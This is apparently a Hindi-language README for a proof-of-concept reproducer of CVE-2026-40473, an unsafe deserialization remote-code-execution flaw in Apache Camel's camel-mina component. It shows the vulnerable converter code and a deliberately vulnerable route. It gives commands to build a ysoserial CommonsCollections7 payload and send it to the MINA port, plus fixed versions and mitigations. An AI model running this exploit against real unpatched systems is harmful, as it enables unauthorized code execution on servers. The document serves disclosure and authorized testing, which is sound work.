
CVE-2026-40473 के लिए पुनरुत्पादक: Apache Camel camel-mina MinaConverter.toObjectInput असुरक्षित डिसीरियलाइज़ेशन (TCP/UDP पर RCE)
यह प्रोजेक्ट Apache Camel के camel-mina घटक में एक Java डिसीरियलाइज़ेशन भेद्यता को प्रदर्शित करता है, जिसे CVE-2026-40473 के रूप में ट्रैक किया गया है। MinaConverter.toObjectInput(IoBuffer) टाइप कन्वर्टर प्राप्त बाइट्स को बिना किसी ObjectInputFilter के एक कच्चे ObjectInputStream में लपेटता है, इसलिए एक रूट जो TCP/UDP बॉडी को ObjectInput में कनवर्ट करता है और readObject() को कॉल करता है, उसे एक हमलावर द्वारा MINA पोर्ट पर एक तैयार किया गया सीरियलाइज़्ड ऑब्जेक्ट भेजकर रिमोट कोड एक्ज़ीक्यूशन के लिए प्रेरित किया जा सकता है।
परामर्श: https://camel.apache.org/security/CVE-2026-40473.html
| गुण | मान |
|---|---|
| घटक | camel-mina |
| प्रभावित वर्ग | org.apache.camel.component.mina.MinaConverter (toObjectInput) |
| CWE | CWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन |
| प्रभाव | TCP/UDP पर रिमोट कोड एक्ज़ीक्यूशन (RCE) |
| प्रभावित संस्करण | 3.0.0 से पहले 4.14.6 तक, 4.15.0 से पहले 4.18.2 तक, 4.19.0 से पहले 4.20.0 तक |
| फिक्स किए गए संस्करण | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23319 |
| रिपोर्टर | वेंकटरामन कुमार (Securin) |
IoBuffer → ObjectInput टाइप कन्वर्टर बफर को एक कच्चे ObjectInputStream में लपेटता है:
// MinaConverter.toObjectInput(IoBuffer) - प्रभावित संस्करण
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = buffer.asInputStream();
return new ObjectInputStream(is); // कोई ObjectInputFilter नहीं
}
जब एक camel-mina TCP/UDP उपभोक्ता कच्चे बाइट्स प्रदान करता है (उदाहरण के लिए allowDefaultCodec=false के साथ) और रूट ObjectInput (getBody(ObjectInput.class), @Body ObjectInput, या convertBodyTo(ObjectInput.class)) का अनुरोध करता है, तो यह कन्वर्टर चलता है। लौटाई गई स्ट्रीम पर readObject() को कॉल करने से हमलावर द्वारा आपूर्ति किए गए बाइट्स में कोई भी गैजेट श्रृंखला निष्पादित हो जाती है।
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput
Object obj = oi.readObject(); // डिसीरियलाइज़ेशन सिंक
exchange.getMessage().setBody("deserialized: " + obj);
});
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# JDK 21 पर CommonsCollections गैजेट उत्पन्न करने के लिए --add-opens जोड़ें:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# बंडल किया गया हेल्पर mina:5555 पर एक कच्चा TCP सॉकेट खोलता है और बाइट्स लिखता है; पीड़ित रूट उन्हें ObjectInput में बदलता है और readObject() को कॉल करता है।
# -> ">>> RCE प्रमाण — /tmp/pwned मौजूद है: true"
(इस PoC में MINA पोर्ट 5555 कंटेनर के अंदर आंतरिक है; /exploit/inject हेल्पर अंदर से कच्चा TCP भेजता है। होस्ट से nc जैसे कच्चे क्लाइंट के साथ भेजने के लिए पोर्ट 5555 को एक्सपोज़ करें।)
docker exec cve-2026-40473 ls -la /tmp/pwned
docker compose down
कोई भी camel-mina TCP या UDP उपभोक्ता जिसका रूट बॉडी को ObjectInput (सीधे, @Body ObjectInput के माध्यम से, या convertBodyTo(ObjectInput.class) के माध्यम से) में बदलता है, उसका शोषण कोई भी कर सकता है जो MINA पोर्ट तक पहुंच सकता है।
ObjectInput रूपांतरण का अनुरोध करता है।commons-collections:3.2.1)।4.14.6 / 4.18.2 / 4.20.0 में अपग्रेड करें। फिक्स कन्वर्टर पर एक ObjectInputFilter / क्लास अनुमति-सूची लागू करता है (camel-netty, camel-jms और camel-infinispan पर लागू किए गए सख्तीकरण से मेल खाता है)।
अपग्रेड करने तक:
ObjectInput में न बदलें / उन्हें डिसीरियलाइज़ न करें।CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # पीड़ित: from(mina:tcp).getBody(ObjectInput).readObject()
│ └── ExploitController.java # /inject: mina:5555 पर TCP के माध्यम से सीरियलाइज़्ड बाइट्स भेजता है
└── resources/
└── application.properties
यह पुनरुत्पादक केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और फिक्स भेद्यता के लिए। बिना स्पष्ट अनुमति के सिस्टम के विरुद्ध इसका उपयोग न करें।